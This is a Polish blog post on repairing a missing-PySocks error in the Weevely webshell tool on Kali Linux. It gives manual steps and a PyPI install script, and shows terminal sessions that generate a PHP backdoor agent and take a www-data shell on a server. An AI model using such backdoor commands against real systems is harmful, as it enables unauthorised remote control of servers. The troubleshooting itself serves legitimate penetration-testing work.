



Weevely - popularny błąd i jego naprawa.

Ostatnio, podczas wykonywania jednego ze zleceń, zauważyliśmy poważny - dla początkujących - błąd w dystrybucji Kali Linux 2.0. Jak się okazało błąd występuje również wtedy, gdy instalujemy program ręcznie, na innych dystrybucjach linuxowych. W dzisiejszym artykule pokażemy jak samodzielnie w kilku krokach naprawić ten błąd.

Weevely jest narzędziem do generowania webshellu oraz zarządzania sesjami za pomocą webshell, którego użycie opisywaliśmy [już wcześniej](#). Postanowiliśmy sprawdzić czy błąd jest powtarzalny, pobraliśmy prosto z serwera Kaliego obraz .iso, zainstalowaliśmy, i oto wynik.

```
Plik  Edycja  Widok  Wyszukiwanie  Terminal  Pomoc
root@sms-kali:~# weevely

[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password> [cmd]

[+] Load session file
    weevely session <path> [cmd]

[+] Generate backdoor agent
    weevely generate <password> <path>

root@sms-kali:~#
```

```
Plik  Edycja  Widok  Wyszukiwanie  Terminal  Pomoc

[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password> [cmd]

[+] Load session file
    weevely session <path> [cmd]

[+] Generate backdoor agent
    weevely generate <password> <path>

root@sms-kali:~# weevely generate haslo /root/shell.php
Generated backdoor with password 'haslo' in '/root/shell.php' of 1305 byte size.
root@sms-kali:~# ls
Dokumenty      log      Obrazy  Pobrane  Pulpit    soft     Wideo
kukussl.log    Muzyka  paczki  Publiczny  shell.php Szablony
root@sms-kali:~# █

Plik  Edycja  Widok  Wyszukiwanie  Terminal  Pomoc

root@sms-kali:~# weevely https://pht.s-m-s.pl/shell.php haslo
Traceback (most recent call last):
  File "./weevely.py", line 98, in <module>
    main(arguments)
  File "./weevely.py", line 48, in main
    modules.load_modules(session)
  File "/usr/share/weevely/core/modules.py", line 24, in load_modules
    (module_group, module_name), fromlist=["*"]
  File "/usr/share/weevely/modules/shell/php.py", line 4, in <module>
    from core.channels.channel import Channel
  File "/usr/share/weevely/core/channels/channel.py", line 8, in <module>
    import sockshandler
ImportError: No module named sockshandler
root@sms-kali:~# █
```

Jak możecie zauważyć, błąd wystąpił nawet w oryginalnej, w pełni zaktualizowanej wersji. Oto kilka sposobów jak naprawić ten problem:

1. Manualnie - postępując zgodnie z instrukcjami
2. Używając przygotowanego przez nas skryptu



1. Manualnie

1. Pobierz najnowsze PySocks z <https://pypi.python.org/pypi/PySocks/>
2. Rozpakuj pakiet w katalogu /tmp
3. Nadaj prawa wykonywalności „chmod 755 /tmp/PySocks/setup.py”
4. Zbuduj pakiet za pomocą „/tmp/PySocks/setup.py build”
5. Zainstaluj „/tmp/PySocks/setup.py install”

2. Używając przygotowanego przez nas skryptu

[Source code](#)



```
#!/bin/bash

cd /tmp/

wget
https://pypi.python.org/packages/source/P/PySocks/PySocks-1.5.6.tar.gz
#md5=c825c7c52b2c79dde73cac8d04bd25cb

tar -zxvf PySocks*
cd PySocks*
chmod +x ./setup.py
./setup.py build
./setup.py install
```

Jaki uzyskujemy efekt? W pełni działający backdoor.



Weevely - popularny błąd i jego naprawa.

```
Plik  Edycja  Widok  Wyszukiwanie  Terminal  Pomoc
root@sms-kali:~# weevely https://pht.s-m-s.pl/shell.php haslo

[+] weevely 3.2.0

[+] Target:      www-data@vps:/home/pht/public
[+] Session:    /root/.weevely/sessions/pht.s-m-s.pl/shell_0.session
[+] Shell:      System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
www-data
www-data@vps:/home/pht/public $
```

Błąd ten występuje także wtedy, kiedy pobieramy Weevely z gita czy z poziomu repo.s-m-s.pl. Instalując program należy pamiętać o naprawieniu tego błędu. Kod skryptu znajduje się w naszym [gicie](#).

Tych kilka prostych kroków naprawi dosyć poważny błąd. Znaście inne błędy tego typu? Dajcie nam znać, chętnie je opiszemy!